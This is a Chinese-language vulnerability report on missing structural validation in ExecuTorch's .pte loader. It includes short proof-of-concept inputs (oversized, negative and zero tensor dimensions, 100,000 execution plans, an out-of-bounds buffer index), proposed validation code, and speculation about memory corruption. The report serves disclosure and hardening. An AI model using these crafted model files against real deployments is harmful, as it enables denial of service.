# ExecuTorch .pte Format — 文件格式验证缺失导致拒绝服务 ## 概述 **项目**: executorch (PyTorch Edge Runtime) **版本**: 1.2.0+cpu **格式**: .pte (Program Transfer Executable, FlatBuffers 二进制) **CVSS 3.1**: 5.5 (Medium) — `AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` **CWE**: CWE-20 (Improper Input Validation), CWE-400 (Uncontrolled Resource Consumption) ## 漏洞摘要 | # | 漏洞 | 严重程度 | PoC 结果 | |---|------|----------|----------| | 1 | Tensor 维度无上界检查 | Medium | `[2^31-1, 2^31-1]` 和 10000 维 tensor 被接受 | | 2 | 列表字段无数目限制 | Medium | 100,000 个 execution plan 被接受,6.55s 解析时间 | | 3 | 负数/零维 tensor 不拒绝 | Low | `[-100]` 和 `[0]` 维度通过验证 | | 4 | Buffer 索引越界引用 | Medium | `data_buffer_idx=999` 但仅 0 个 buffer 存在 | | 5 | Segment 偏移无验证 | Medium | `offset=-1` 和 `size=999999999` 被接受 | | 6 | `deserialize_pte_binary()` 零结构验证 | Medium | 直接从二进制 → flatc → JSON → 对象,无任何安检 | ## 技术分析 ### 1. 加载管道完全无验证 `deserialize_pte_binary()` 的完整调用链: ``` .pte binary → flatc subprocess (JSON decompile) → json.loads() → _json_to_dataclass() → Program dataclass ``` **没有任何一个环节执行结构安全性检查**: - `flatc` 仅检查 FlatBuffer 格式正确性(file_identifier "ET12"),不检查模型语义 - `json.loads()` 仅解析 JSON,不验证内容 - `_json_to_dataclass()` 递归构造数据类,无边界检查 - `verifier.py` 仅检查图级别语义(算子合法性、tensor 连续性),且**默认不启用** ### 2. Tensor 维度无上界(`schema.py:66`) ```python @dataclass class Tensor: scalar_type: ScalarType storage_offset: int sizes: List[int] # ← 无上限!可以是任意整数值 dim_order: List[int] # ← 无数目限制!可以是 10000 维 ... ``` 对比 ONNX 的 `check_model()` 会验证 shape 合理性,ExecuTorch 直接接受 `sizes=[2147483647, 2147483647]`(4.6 exa-elements)而只有 1 byte 的实际存储。 ### 3. 列表字段无条目数限制 ```python @dataclass class Program: execution_plan: List[ExecutionPlan] # ← 可以是 100,000 个 ... @dataclass class ExecutionPlan: values: List[EValue] # ← 无限制 chains: List[Chain] # ← 无限制 operators: List[Operator] # ← 无限制 delegates: List[BackendDelegate] # ← 无限制 ``` 100,000 个 execution plan 的 JSON 仅 20.6 MB,但解析后产生海量 Python 对象,可导致 OOM。 ### 4. 关键代码路径 **deserialize_pte_binary** (`_serialize/_program.py:747-770`): ```python def deserialize_pte_binary(program_data: bytes) -> PTEFile: # 无magic检查,无大小限制,无完整性验证 program: Program = _json_to_program( _program_flatbuffer_to_json(program_data[:program_size]) ) ... ``` **_json_to_dataclass** (`_serialize/_dataclass.py:60-145`): ```python def _json_to_dataclass(json_dict, cls=None): # 递归处理,无深度限制 # List字段无条目数限制 # int字段无取值范围检查 for field in cls_flds: ... if get_origin(T) is list: data[key] = [_json_to_dataclass(e, T) for e in value] ``` ### 5. 与其他 ML 格式对比 | 特性 | ONNX | TF SavedModel | Core ML | OpenVINO | **ExecuTorch** | |------|------|---------------|---------|----------|----------------| | Shape 上界检查 | ✅ check_model | ✅ | ❌ | ❌ (C++ 有) | **❌** | | 维度 > 0 验证 | ✅ | ✅ | ❌ | ❌ | **❌** | | 列表计数限制 | ✅ | ✅ | ❌ | ❌ | **❌** | | Buffer 索引验证 | ✅ | ✅ | ❌ | ✅ | **❌** | | 加载前结构验证 | ✅ | ✅ | ❌ | ❌ | **❌** | | 独立 check_model | ✅ | N/A | ❌ | ❌ | **❌** | ## 复现过程 ### PoC 1: 极端 Tensor 维度导致内存耗尽 ```python from executorch.exir._serialize._program import _json_to_program import json crafted_json = json.dumps({ "version": 1, "execution_plan": [{ "name": "forward", "container_meta_type": {"encoded_inp_str": "", "encoded_out_str": ""}, "values": [{ "val": { "scalar_type": "FLOAT", "storage_offset": 0, "sizes": [2147483647, 2147483647], # 4.6 exa-elements "dim_order": [0, 1], "requires_grad": False, "layout": 0, "data_buffer_idx": 0, "allocation_info": None, "shape_dynamism": "STATIC" }, "val_type": "Tensor" }], "inputs": [], "outputs": [], "chains": [], "operators": [], "delegates": [], "non_const_buffer_sizes": [0] }], "constant_buffer": [{"storage": [0]}], # 仅 1 byte "backend_delegate_data": [], "segments": [], "constant_segment": {"segment_index": 0, "offsets": []} }) program = _json_to_program(crafted_json.encode("utf-8")) # ✅ 成功!无错误! print(program.execution_plan[0].values[0].val.sizes) # [2147483647, 2147483647] ``` ### PoC 2: 海量列表导致 OOM ```python N = 100000 crafted_json = json.dumps({ "version": 1, "execution_plan": [ {"name": f"plan_{i}", ...} for i in range(N) # 100,000 个 plan ], ... }) program = _json_to_program(crafted_json.encode("utf-8")) # ✅ 成功!解析耗时 6.55s ``` ### PoC 3: 负数维度 ```python "sizes": [-1] # ✅ 被接受 "sizes": [-100] # ✅ 被接受 "sizes": [0] # ✅ 被接受 ``` ### PoC 4: Buffer 索引越界 ```python "data_buffer_idx": 999 # 只有 0 个 buffer # ✅ 被接受!运行时崩溃 ``` ## 修复建议 ### 1. 添加维度边界检查(`_dataclass.py` 或 `_program.py`) ```python MAX_TENSOR_DIM_VALUE = 2**31 - 1 # 合理的上界 MAX_TENSOR_DIM_COUNT = 32 # 最大维度数 MAX_TOTAL_ELEMENTS = 2**48 # ~256T elements 上界 def _validate_tensor_dims(sizes: List[int]) -> None: if len(sizes) > MAX_TENSOR_DIM_COUNT: raise ValueError(f"Tensor dimension count {len(sizes)} exceeds {MAX_TENSOR_DIM_COUNT}") for i, s in enumerate(sizes): if s <= 0: raise ValueError(f"Tensor dimension {i} is {s}, must be > 0") if s > MAX_TENSOR_DIM_VALUE: raise ValueError(f"Tensor dimension {i} value {s} exceeds {MAX_TENSOR_DIM_VALUE}") def _validate_tensor_buffer_index(tensor, num_buffers): if tensor.data_buffer_idx >= num_buffers: raise ValueError( f"Tensor references buffer {tensor.data_buffer_idx} " f"but only {num_buffers} buffers exist" ) ``` ### 2. 限制列表条目数 ```python MAX_EXECUTION_PLANS = 1024 MAX_VALUES = 2**20 MAX_CHAINS = 1024 MAX_OPERATORS = 2**16 MAX_DELEGATES = 256 def _validate_program_limits(program: Program) -> None: if len(program.execution_plan) > MAX_EXECUTION_PLANS: raise ValueError(f"Too many execution plans: {len(program.execution_plan)}") for plan in program.execution_plan: if len(plan.values) > MAX_VALUES: raise ValueError(f"Too many values: {len(plan.values)}") # ... ``` ### 3. 添加 `check_model()` 等价函数 ```python def check_pte(program: Program) -> None: """Validate structural integrity of a deserialized .pte program.""" _validate_program_limits(program) num_buffers = len(program.constant_buffer) for plan in program.execution_plan: for evalue in plan.values: if isinstance(evalue.val, Tensor): _validate_tensor_dims(evalue.val.sizes) _validate_tensor_buffer_index(evalue.val, num_buffers) for i, seg in enumerate(program.segments): if seg.offset < 0: raise ValueError(f"Segment {i} has negative offset {seg.offset}") ``` ### 4. 在 `deserialize_pte_binary()` 中集成验证 ```python def deserialize_pte_binary(program_data: bytes) -> PTEFile: # ... existing parsing code ... program = _json_to_program(...) check_pte(program) # ← 添加此行 # ... restore segments ... ``` ## 想法(发散思维) 1. **越界 buffer 索引 → C++ 运行时崩溃 → 潜在 UAF/越界读写**:`data_buffer_idx=999` 被 Python 层接受,如果 C++ 运行时信任此索引直接访问数组,可能导致内存损坏 2. **极端维度 × 运行时编译**:C++ 运行时 `compile_model()` 会根据 tensor 维度分配内存。如果 Python 层不验证,恶意的 2^31 维度会传递到 C++ 层导致 malloc 失败或整数溢出 3. **flatc 版本依赖性**:executorch 打包了自己的 `flatc` 二进制(`executorch/data/bin/flatc`),如果版本过旧可能包含已知漏洞 4. **Schema 版本升级绕过**:`schema_check.py` 管理 schema 版本兼容性,但版本检查仅用于检测 schema 变更,不作为安全验证。攻击者可以声明任意 SCHEMA_VERSION 5. **FlatBuffer `force_align` 操纵**:`_patch_schema_alignment()` 修改对齐值,如果攻击者控制 alignment 值可能导致段偏移计算错误 6. **与 ONNX/OpenVINO 漏洞的共性**:所有 ML 格式的 Python 前端都缺乏结构验证,说明这是一个行业性盲区——开发者依赖底层序列化格式(Protobuf/FlatBuffers)的安全性,但忽略了模型语义层面的恶意构造 ## 文件清单 - `poc_executorch_bypass.py` — 7 个 PoC 的完整测试脚本 - `README.md` — 本文件